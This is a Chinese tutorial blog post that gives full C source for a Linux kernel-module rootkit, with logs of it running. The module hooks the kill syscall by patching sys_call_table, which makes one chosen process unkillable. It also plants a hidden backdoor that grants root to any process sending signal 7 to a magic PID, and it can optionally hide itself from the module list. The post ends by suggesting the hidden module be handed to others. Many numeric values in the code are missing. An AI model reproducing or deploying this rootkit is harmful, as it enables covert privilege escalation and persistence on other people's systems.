手把手教你写LKM rookit! 之 杀不死的pid&root后门

时间:2024-10-12 10:06:37

......上一节,我们编写了一个基本的lkm模块,从功能上来说它还没有rootkit的特征,这次我们给它添加一点有意思的功能.我们让一个指定的进程杀不死,

曾经,想写一个谁也杀不死的进程,进程能捕捉到SIGTERM,就是kill默认发送的signal,能捕捉到SIGINT,你平时按下Ctrl-C就是这个操作,但是无论如何你也无法阻止,

SIGKILL,及终极杀人王火云邪神的必杀kill -9 pid.

作为一个小强,怎么能被现实如此的摧残,我们要对命运说不,so 有个几种解决方案,一中方案:两个进程互相监听,另外一个死了,立马起一个新的进程,另外一种方案:

我们想是谁让kill -9 就能杀死程序的?是谁?对是操作系统?作为一切操作皆系统调用来说,kill也是系统调用啊.....所以我们可以改系统调用就行了,而且在内核态可以无视用户,

随便切换个uid都是小意思.

废话不多,上代码

#include <asm/unistd.h>
#include <linux/highmem.h>
#include <asm/current.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/list.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/fdtable.h>
#include <linux/moduleparam.h> MODULE_AUTHOR("lietdai@gmail.com");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("rootkit_sample"); #define ROOT_PID 7311
#define ROOT_SIG 7 static int lpid = ;
module_param(lpid, int, ); //#define STEALTH_MODE 1 unsigned long *sys_call_table = (unsigned long*) 0xc12efee0; static unsigned int ocr0; unsigned int clear_cr0(){
unsigned int cr0 = read_cr0();
write_cr0(cr0 & 0xfffeffff);
return cr0;
} typedef asmlinkage int (*kill_ptr)(pid_t pid, int sig);
kill_ptr orig_kill; asmlinkage int hacked_kill(pid_t pid, int sig){
int actual_result; //root-access
if (pid == ROOT_PID && sig == ROOT_SIG){
struct cred *cred;
cred = (struct cred *)__task_cred(current);
cred->uid = ;
cred->gid = ;
cred->suid = ;
cred->euid = ;
cred->euid = ;
cred->egid = ;
cred->fsuid = ;
cred->fsgid = ;
return ;
}else if(pid == lpid){
printk(KERN_INFO "You cannot kill me! by process %d", lpid);
return ;
} actual_result = (*orig_kill)(pid, sig);
return actual_result;
} static int rootkit_in(void){
#ifdef STEALTH_MODE
struct module *self;
#endif
ocr0 = clear_cr0();
orig_kill = (kill_ptr)sys_call_table[__NR_kill]; //hooking
sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
write_cr0(ocr0);
#ifdef STEALTH_MODE
mutex_lock(&module_mutex);
if((self = find_module("test")))
list_del(&self->list);
mutex_unlock(&module_mutex);
#endif
printk(KERN_INFO "Loading rookit\n");
return ;
} static int rootkit_out(void){
ocr0 = clear_cr0();
sys_call_table[__NR_kill] = (unsigned long) orig_kill;
write_cr0(ocr0);
printk(KERN_INFO "Romove rookit\n");
return ;
} module_init(rootkit_in);
module_exit(rootkit_out);

需要说明的几点是0xc12efee0这个地址每个人都不一样的,它在/boot/System.map-`uname -r`记录着,他表示sys_call_table的地址

cat /boot/System.map-`uname -r` | grep sys_call

unsigned long *sys_call_table = (unsigned long*) 0xc12efee0;

基本的使用就是

1.先随便起个进程,这里以我们的哪个deamon后台签到程序为例./l137,记录pid 为 13165

liet@kali:~/code/c/study/socket/http/bbs_sign$ ./l137
liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137
liet 0.0 0.0 ? S : : ./l137
liet 0.0 0.0 pts/ S+ : : grep l137
liet@kali:~/code/c/study/socket/http/bbs_sign$

2.加载rootkit

liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ sudo insmod test.ko lpid=
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ dmesg | tail
[ 407.885977] warning: `VirtualBox' uses 32-bit capabilities (legacy support in use)
[ 415.515641] device eth0 entered promiscuous mode
[ 813.787144] Loading rookit
[ 829.538917] Now set cr0 backed ,cr0: 8005003b
[ 829.538921] Romove rookit
[ 2231.927831] Loading rookit
[ 2388.490838] Now set cr0 backed ,cr0: 8005003b
[ 2388.490842] Romove rookit
[ 2503.793892] test: `' invalid for parameter `pid'
[ 2508.832296] Loading rookit
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$

ok, rootkit loaded!!!!

3.rootkit操作

1.杀不死的13165进程

liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -
liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137
liet 0.0 0.0 ? S : : ./l137
liet 0.0 0.0 pts/ S+ : : grep l137

2.root后门

liet@kali:~/code/c/study/socket/http/bbs_sign$ id
uid=(liet) gid=(liet) groups=(liet),(dialout),(sudo)
liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -
liet@kali:~/code/c/study/socket/http/bbs_sign$ id
uid=(root) gid=(root) groups=(root),(dialout),(sudo),(liet)
liet@kali:~/code/c/study/socket/http/bbs_sign$

你整好了一个进程之后,然后隐藏mod,再交给别人,让他杀吧,看他怎么杀,........